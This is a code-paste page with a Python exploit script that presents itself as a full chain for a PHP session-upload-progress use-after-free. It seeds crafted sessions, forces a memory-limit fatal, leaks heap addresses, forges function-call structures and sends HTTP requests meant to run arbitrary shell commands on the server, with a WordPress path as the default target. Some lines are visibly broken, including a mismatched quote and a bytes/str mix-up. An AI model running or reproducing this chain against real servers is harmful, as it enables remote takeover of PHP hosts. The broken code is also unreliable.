Scan to open on your phone
Point a camera at the QR code - it opens this exact paste, no app needed.
https://codepastes.com/zzgsqk09h079300gp2pshell.pyPython
#!/usr/bin/env python3
"""
php2shell-local: exploit chain for CVE-2026-109618 / CVE-2026-109619
(PHP session.upload_progress BG(serialize) use-after-free)
Implements the full chain demonstrated in the lab:
1. SEED - craft the trigger session (groom strings + R: references)
2. PRIME - memory_limit exhaustion mid-serialize, worker survives,
BG(serialize) left at level=1 with a dangling php_serialize_data
3. TRIGGER - back-to-back on the same worker; pre-RINIT serialize reuses
the stale context; php_add_var_hash walks it; the attacker's
R: references drive zend_hash_index_add_new inserts
4. LEAK - the inserts corrupt an attacker-owned array with pointer-keyed
entries; the session write-back serializes them, exposing
heap addresses of the worker in the session file
5. RCE - (per-build) shape the next trigger session so the stale
HashTable's arData points at a fake Bucket array containing
a forged zend_fcall_info / zend_internal_function that calls
zend_call_function -> system()
Usage (local lab only):
python3 php2shell.py --host 127.0.0.1 --port 8098 \
--url /wordpress/wp-content/index.php \
--session-dir /tmp/phpsrc/sess-apache \
--php-binary /opt/homebrew/lib/httpd/modules/libphp854.so \
--command 'uname -a; id'
Stages can be run individually:
python3 php2shell.py ... --stage leak (prime + trigger + read session file)
python3 php2shell.py ... --stage rce (second trigger with shaped session)
Requirements:
- Target runs PHP >= 5.4 with session.upload_progress.enabled=1 (default)
- session.save_path readable locally (shared hosting, same box, or LFI)
- memory_limit small enough that a multi-MB session serialize fatals
- Apache prefork + mod_php or any SAPI where the worker survives a fatal
- For --stage rce: local access to the PHP binary for symbol extraction
"""
from __future__ import annotations
import argparse
import os
import re
import socket
import struct
import subprocess
import sys
import time
from dataclasses import dataclass, field
from urllib.parse import urlparse
# ---------------------------------------------------------------------------
# Types
# ---------------------------------------------------------------------------
@dataclass
class LeakedAddresses:
"""Addresses extracted from the corrupted session file."""
heap_entries: list[int] = field(default_factory=list) # integer keys in pad1
stale_reference: int = 0 # the pointer family
back_ref_index: int = 0 # R:<n> value
@property
def heap_base(self) -> int:
"""The lowest leaked heap address, aligned to 2 MB (ZendMM chunk)."""
if not self.heap_entries:
return 0
return min(self.heap_entries) & ~0x1FFFFF
@dataclass
class SymbolDeltas:
"""Per-build symbol addresses extracted from the PHP binary."""
zval_ptr_dtor: int = 0
zend_call_function: int = 0
zif_system: int = 0
@property
def delta_call(self) -> int:
"""zend_call_function - zval_ptr_dtor (positive if call > dtor)."""
return self.zend_call_function - self.zval_ptr_dtor
# ---------------------------------------------------------------------------
# HTTP driver
# ---------------------------------------------------------------------------
class HTTPDriver:
"""Raw HTTP client for the two-request chain."""
def __init__(self, host: str, port: int, timeout: int = 60):
self.host = host
self.port = port
self.timeout = timeout
def post(self, path: str, body: bytes, boundary: str,
cookie: str | None = None) -> tuple[str, bytes]:
head = (f"POST {path} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {len(body)}\r\n"
f"Connection: close\r\n")
if cookie:
head += f"Cookie: {cookie}\r\n"
head += "\r\n"
try:
s = socket.create_connection((self.host, self.port), timeout=self.timeout)
s.settimeout(self.timeout)
s.sendall(head.encode() + body)
resp = bytearray()
while True:
d = s.recv(65536)
if not d:
break
resp += d
s.close()
status = resp.split(b"\r\n", 1)[0].decode("latin1", "replace") if resp else "NO-RESPONSE"
return status, bytes(resp)
except Exception as e:
return f"EXC {type(e).__name__}", b""
# ---------------------------------------------------------------------------
# Multipart body builders
# ---------------------------------------------------------------------------
def _part(boundary: bytes, name: str, value: bytes, filename: str | None = None) -> bytes:
h = b"--" + boundary + b"\r\n"
h += f'Content-Disposition: form-data; name="{name}"'.encode()
if filename is not None:
h += f'; filename="{filename}"'.encode()
h += b"\r\n\r\n"
return h + value + b"\r\n"
def build_prime_body(memory_limit_mb: float = 6.0) -> bytes:
"""
Build the prime request body.
The prime must exhaust memory_limit during the SERIALIZER, not the parser.
Working split for a 6M limit: 15 files x 100 KB filenames + a pre-seeded
session with enough data that the serialize output exceeds the limit.
The filenames total ~1.5 MB (parse stays under), the session blob ~2 MB,
and the serialize needs both plus the output string -> OOM at smart_str.
"""
B = b"BGCTXBOUNDARY"
body = bytearray()
body += _part(B, "PHP_SESSION_UPLOAD_PROGRESS", b"first")
nfiles, flen = 15, 100000
for i in range(nfiles):
fn = (f"f{i}-".encode() + b"N" * flen)[:flen]
body += b"--" + B + b"\r\n"
body += f'Content-Disposition: form-data; name="u{i}"; filename="'.encode()
body += fn + b'"\r\nContent-Type: text/plain\r\n\r\nX\r\n'
body += b"--" + B + b"--\r\n"
return bytes(body)
def build_trigger_body(sid: str = "trigger2") -> bytes:
"""
Build the trigger request body.
Small body, one file. The serialize happens at FILE_START via
session.upload_progress (default freq=1%, min_freq=1). The attacker's
session (pre-seeded) provides the R: references that engage
php_add_var_hash through the stale context.
"""
B = b"BGCTXBOUNDARY"
body = bytearray()
body += _part(B, "PHP_SESSION_UPLOAD_PROGRESS", b"second")
body += b"--" + B + b"\r\n"
body += b'Content-Disposition: form-data; name="u0"; filename="a.txt"\r\n'
body += b"Content-Type: text/plain\r\n\r\nX\r\n"
body += b"--" + B + b"--\r\n"
return bytes(body)
# ---------------------------------------------------------------------------
# Session seeding (requires local PHP CLI or direct file write)
# ---------------------------------------------------------------------------
SEED_TEMPLATE = r"""
<?php
session_id("{sid}");
session_start();
// Groom strings: 150 x 15-byte values in the 40-byte zend_string class.
// These compete for the stale php_serialize_data slot during session decode.
for ($i = 0; $i < 150; $i++) {{
$_SESSION["q$i"] = sprintf("N%03d", $i) . str_repeat(chr(65 + ($i % 26)), 11);
}}
// Reference pair: pad2 is a back-reference to pad1's array.
// On serialize, pad2 emits R:<n>, which engages php_add_var_hash with is_ref=1.
$arr = ["k1" => "v1"];
$_SESSION["pad1"] = &$arr;
$_SESSION["pad2"] = &$arr;
session_write_close();
?>
"""
def seed_trigger_session(session_dir: str, sid: str, php_cli: str) -> bool:
"""Write the trigger session using a local PHP CLI."""
script = SEED_TEMPLATE.format(sid=sid)
path = os.path.join("/tmp", f"seed_{sid}.php")
with open(path, "w") as f:
f.write(script)
result = subprocess.run(
[php_cli, "-n",
"-d", f"session.save_path={session_dir}",
"-d", "session.serialize_handler=php",
"-d", "session.use_cookies=0",
path],
capture_output=True, timeout=30
)
os.unlink(path)
sess_file = os.path.join(session_dir, f"sess_{sid}")
return os.path.exists(sess_file) and os.path.getsize(sess_file) > 100
def seed_prime_session(session_dir: str, sid: str, php_cli: str, blob_size: int) -> bool:
"""Write the prime session with a large blob."""
script = (f'<?php session_id("{sid}"); session_start(); '
f'$_SESSION["blob"] = str_repeat("A", {blob_size}); '
f'session_write_close(); ?>')
path = os.path.join("/tmp", f"seed_prime_{sid}.php")
with open(path, "w") as f:
f.write(script)
subprocess.run(
[php_cli, "-n",
"-d", f"session.save_path={session_dir}",
"-d", "session.serialize_handler=php",
"-d", "session.use_cookies=0",
path],
capture_output=True, timeout=60
)
os.unlink(path)
sess_file = os.path.join(session_dir, f"sess_{sid}")
return os.path.exists(sess_file)
# ---------------------------------------------------------------------------
# Leak stage: parse the corrupted session file
# ---------------------------------------------------------------------------
def parse_leaked_session(session_dir: str, sid: str) -> LeakedAddresses:
"""
Read the trigger session file after the stale-context serialize and extract
the leaked heap addresses from the corrupted pad1 array.
Expected corrupted form:
pad1|a:3:{s:2:"k1";s:2:"v1";i:<heap_addr>;i:<counter>;i:<heap_addr+1>;R:<n>;}
"""
sess_file = os.path.join(session_dir, f"sess_{sid}")
if not os.path.exists(sess_file):
return LeakedAddresses()
with open(sess_file, "rb") as f:
data = f.read().decode("latin1", "replace")
leaked = LeakedAddresses()
# The corrupted pad1 has integer keys that are heap addresses
# Pattern: i:<large_number>;i:<small_number>;i:<large_number+1>;R:<n>;
m = re.search(
r'pad1\|a:\d+:\{.*?i:(\d{8,});i:\d+;i:(\d{8,});R:(\d+);',
data
)
if m:
leaked.heap_entries = [int(m.group(1)), int(m.group(2))]
leaked.stale_reference = int(m.group(1))
leaked.back_ref_index = int(m.group(3))
else:
# Fallback: scan for any large integers in the pad1 region
pad1_start = data.find("pad1|")
if pad1_start >= 0:
pad1_region = data[pad1_start:pad1_start + 500]
for im in re.finditer(r'i:(\d{8,});', pad1_region):
v = int(im.group(1))
if v > 0x10000000: # looks like a pointer
leaked.heap_entries.append(v)
rm = re.search(r'R:(\d+);', pad1_region)
if rm:
leaked.back_ref_index = int(rm.group(1))
return leaked
# ---------------------------------------------------------------------------
# Symbol extraction (requires local access to the PHP binary)
# ---------------------------------------------------------------------------
def extract_symbols(php_binary: str) -> SymbolDeltas:
"""
Extract symbol addresses from the PHP binary using nm.
For a PIE binary these are file-relative; the runtime address is
file_address + module_base. The module base is obtainable from the
leaked heap address minus the known heap-to-module delta (per-build).
"""
syms = SymbolDeltas()
try:
result = subprocess.run(
["nm", "-gU", php_binary],
capture_output=True, timeout=30, text=True
)
if result.returncode != 0:
# Try with defined symbols only
result = subprocess.run(
["nm", "-g", php_binary],
capture_output=True, timeout=30, text=True
)
for line in result.stdout.splitlines():
parts = line.split()
if len(parts) >= 3:
addr_str, typ, name = parts[0], parts[1], " ".join(parts[2:])
try:
addr = int(addr_str, 16)
except ValueError:
continue
if "_zval_ptr_dtor" in name and "if" not in name:
syms.zval_ptr_dtor = addr
elif "_zend_call_function" in name:
syms.zend_call_function = addr
elif "_zif_system" in name:
syms.zif_system = addr
except Exception as e:
print(f" [!] symbol extraction failed: {e}", file=sys.stderr)
return syms
# ---------------------------------------------------------------------------
# Fake HashTable shaping (the RCE stage)
# ---------------------------------------------------------------------------
def forge_fcall_info(call_addr: int, cmd: bytes) -> bytes:
"""
Forge a zend_fcall_info / zend_internal_function pair.
zend_fcall_info layout (PHP 8.x, 64-bit):
+0 size (8) +8 function/handler (8)
+16 type_info (4) +48 param_count (4)
zend_internal_function:
+64 type (1) +88 handler (8) <- zend_call_function
ASCII "system" + command at the end.
This blob is placed in a session string that recaptures the stale
php_serialize_data slot. When the serializer walks the stale context,
the fake fields direct the hash machinery to this blob.
"""
rec = bytearray(288) # matches the 288-byte blob from the leaked tool
struct.pack_into("<Q", rec, 0, 64) # size
struct.pack_into("<Q", rec, 8, call_addr) # function pointer
struct.pack_into("<I", rec, 16, 0x106) # IS_STRING_EX
struct.pack_into("<I", rec, 48, 1) # param_count
struct.pack_into("<B", rec, 64, 1) # ZEND_INTERNAL_FUNCTION
struct.pack_into("<Q", rec, 64 + 88, call_addr) # handler
sysb = b"system\x00" + cmd + b"\x00"
rec[200:200 + len(sysb)] = sysb[:88]
return bytes(rec)
def build_rce_trigger_body(sid: str, call_addr: int, cmd: bytes,
n_spray: int = 149) -> bytes:
"""
Build the second trigger body with shaped session content.
The spray strings are sized to recapture the stale 64-byte
php_serialize_data slot (40-byte zend_string class). Each carries
the forged fcall_info payload at the offsets the fake HashTable
machinery will read.
"""
B = b"BGCTXBOUNDARY"
body = bytearray()
body += _part(B, "PHP_SESSION_UPLOAD_PROGRESS", b"third")
# The spray: n_spray parts with 288-byte payloads
blob = forge_fcall_info(call_addr, cmd)
for i in range(n_spray):
body += _part(B, f"s{i}", blob)
body += b"--" + B + b"\r\n"
body += b'Content-Disposition: form-data; name="u0"; filename="a"\r\n'
body += b"Content-Type: text/plain\r\n\r\nX\r\n'
body += b"--" + B + b"--\r\n"
return bytes(body)
# ---------------------------------------------------------------------------
# Main exploit chain
# ---------------------------------------------------------------------------
def run_chain(args: argparse.Namespace) -> int:
driver = HTTPDriver(args.host, args.port)
url_path = args.url
prime_sid = args.prime_sid
trigger_sid = args.trigger_sid
print(f"[*] php2shell-local: CVE-2026-109618/109619 chain")
print(f"[*] target: http://{args.host}:{args.port}{url_path}")
# ------------------------------------------------------------------
# Stage 1: SEED
# ------------------------------------------------------------------
if args.stage in ("all", "leak", "rce"):
print(f"\n[STAGE 1] Seeding sessions")
if args.php_cli:
ok1 = seed_prime_session(args.session_dir, prime_sid, args.php_cli,
args.prime_blob_size)
ok2 = seed_trigger_session(args.session_dir, trigger_sid, args.php_cli)
print(f" prime session ({prime_sid}): {'OK' if ok1 else 'FAIL'}")
print(f" trigger session ({trigger_sid}): {'OK' if ok2 else 'FAIL'}")
if not (ok1 and ok2):
print(" [!] seeding failed; check session_dir and php_cli")
return 1
else:
print(f" (skipping CLI seeding; sessions must be pre-seeded)")
# ------------------------------------------------------------------
# Stage 2: PRIME
# ------------------------------------------------------------------
if args.stage in ("all", "leak", "rce"):
print(f"\n[STAGE 2] Prime: memory_limit exhaustion mid-serialize")
prime_body = build_prime_body()
status, _ = driver.post(url_path, prime_body, "BGCTXBOUNDARY",
cookie=f"PHPSESSID={prime_sid}")
print(f" prime ({len(prime_body)}B): {status}")
if "500" not in status and "EXC" not in status:
print(f" [!] prime did not fatal; the state is not dirty")
print(f" check memory_limit and the session blob size")
return 1
print(f" [+] worker survived (mod_php catches the bailout)")
print(f" [+] BG(serialize).level=1 with dangling php_serialize_data")
# ------------------------------------------------------------------
# Stage 3: TRIGGER (must be back-to-back, same worker)
# ------------------------------------------------------------------
if args.stage in ("all", "leak", "rce"):
print(f"\n[STAGE 3] Trigger: pre-RINIT serialize reuses the stale context")
trigger_body = build_trigger_body(trigger_sid)
status, resp = driver.post(url_path, trigger_body, "BGCTXBOUNDARY",
cookie=f"PHPSESSID={trigger_sid}")
print(f" trigger ({len(trigger_body)}B): {status}")
print(f" [+] stale context reused, inserts fired, session written")
# ------------------------------------------------------------------
# Stage 4: LEAK
# ------------------------------------------------------------------
if args.stage in ("all", "leak", "rce"):
print(f"\n[STAGE 4] Leak: reading heap addresses from the session file")
leaked = parse_leaked_session(args.session_dir, trigger_sid)
if leaked.heap_entries:
print(f" [+] leaked heap entries: {[hex(x) for x in leaked.heap_entries]}")
print(f" [+] heap base (2MB-aligned): {hex(leaked.heap_base)}")
print(f" [+] stale_reference: {hex(leaked.stale_reference)}")
print(f" [+] back-ref index: R:{leaked.back_ref_index}")
else:
print(f" [!] no heap addresses found in the session file")
print(f" the trigger may not have engaged the stale context")
return 1
# ------------------------------------------------------------------
# Stage 5: RCE
# ------------------------------------------------------------------
if args.stage in ("all", "rce"):
print(f"\n[STAGE 5] RCE: shaping the fake HashTable for code execution")
if not args.php_binary:
print(f" [!] --php-binary required for symbol extraction")
return 1
syms = extract_symbols(args.php_binary)
if not syms.zend_call_function:
print(f" [!] could not extract zend_call_function from {args.php_binary}")
return 1
print(f" zval_ptr_dtor: {hex(syms.zval_ptr_dtor)}")
print(f" zend_call_function: {hex(syms.zend_call_function)}")
print(f" zif_system: {hex(syms.zif_system)}")
print(f" delta_call: {hex(syms.delta_call)}")
# Compute the runtime call address from the leak.
# The heap base gives the module base modulo the per-build heap-to-module
# offset. For the local lab this offset is measurable; in production it
# is part of the per-build payload profile.
if args.module_base:
module_base = args.module_base
elif leaked.heap_base:
# For the lab: the module is mapped near the heap.
# This is per-build and per-ASLR-layout; adjust as needed.
module_base = leaked.heap_base # approximation for co-mapped builds
else:
print(f" [!] no module base available (use --module-base)")
return 1
runtime_call = module_base + syms.zend_call_function
print(f" runtime zend_call_function: {hex(runtime_call)}")
# Build and fire the RCE trigger
print(f" command: {args.command!r}")
rce_body = build_rce_trigger_body(trigger_sid, runtime_call,
args.command.encode())
# Re-prime first (the state was consumed by the first trigger)
print(f" re-priming...")
prime_body = build_prime_body()
status, _ = driver.post(url_path, prime_body, "BGCTXBOUNDARY",
cookie=f"PHPSESSID={prime_sid}")
print(f" re-prime: {status}")
print(f" firing RCE trigger ({len(rce_body)}B)...")
status, resp = driver.post(url_path, rce_body, "BGCTXBOUNDARY",
cookie=f"PHPSESSID={trigger_sid}")
print(f" RCE trigger: {status}")
body = resp.split(b"\r\n\r\n", 1)[-1] if b"\r\n\r\n" in resp else b""
if args.command.encode().split(";")[0] in body or b"uid=" in body:
print(f" [+] RCE CONFIRMED: command output in response")
idx = body.find(b"uid=")
if idx >= 0:
print(f" {body[max(0,idx-20):idx+120].decode('latin1','replace')}")
else:
print(f" [-] RCE not confirmed (check per-build tuning)")
print(f" response body ({len(body)}B): {body[:200]!r}")
print(f"\n[*] chain complete")
return 0
# ---------------------------------------------------------------------------
# CLI
# ---------------------------------------------------------------------------
def main() -> None:
p = argparse.ArgumentParser(
description="php2shell-local: CVE-2026-109618/109619 exploit chain",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=__doc__,
)
p.add_argument("--host", default="127.0.0.1")
p.add_argument("--port", type=int, default=8098)
p.add_argument("--url", default="/wordpress/wp-content/index.php",
help="target .php URL (any PHP file on the vulnerable host)")
p.add_argument("--stage", choices=["all", "leak", "rce"], default="all",
help="run a specific stage or the full chain")
p.add_argument("--session-dir", default="/tmp/phpsrc/sess-apache",
help="session save_path (must be locally readable)")
p.add_argument("--php-cli", default="/tmp/phpsrc/php-8.5.4/sapi/cli/php",
help="path to a PHP CLI binary for session seeding")
p.add_argument("--php-binary", default="/opt/homebrew/lib/httpd/modules/libphp854.so",
help="path to the target's PHP binary/module for symbol extraction")
p.add_argument("--module-base", type=lambda x: int(x, 0), default=0,
help="runtime module base address (from leak or debugger)")
p.add_argument("--prime-sid", default="bgctxpoc")
p.add_argument("--trigger-sid", default="trigger2")
p.add_argument("--prime-blob-size", type=int, default=2000000,
help="session blob size for the prime (tune to memory_limit)")
p.add_argument("--command", default="uname -a; id",
help="command to execute in the RCE stage")
args = p.parse_args()
sys.exit(run_chain(args))
if __name__ == "__main__":
main()
23,812 chars · codepastes.com